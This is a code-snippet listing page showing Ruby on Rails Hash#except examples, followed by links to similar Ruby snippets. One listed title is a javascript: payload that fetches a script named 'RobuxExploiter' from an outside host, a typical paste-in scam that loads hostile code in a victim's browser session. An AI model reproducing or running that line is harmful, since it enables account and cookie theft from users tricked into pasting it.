Rails excep

hash = { a: true, b: false, c: nil }
hash.except(:c)     # => { a: true, b: false }
hash.except(:a, :b) # => { c: nil }
hash                # => { a: true, b: false, c: nil }

params_to_remove_array = [ :b, :c ]
params.except(*params_to_remove_array) # => { a: true }

Source: apidock.com

Similar codes

1 vote378 views1 answer
Rails benchmark
Ruby
0 vote416 views3 answers
Logback grails log in different files
Ruby
0 vote372 views1 answer
Ruby is method defined
Ruby
0 vote342 views2 answers
Rails skip authenticity token
Ruby
3 votes360 views1 answer
Ruby method: :create
Ruby
3 votes373 views1 answer
Integer to string ruby
Ruby
0 vote296 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Ruby
1 vote349 views1 answer
Fibonacci sums ruby
Ruby
0 vote361 views1 answer
Rbenv not changing version
Ruby
0 vote385 views1 answer
Ruby deep merge
Ruby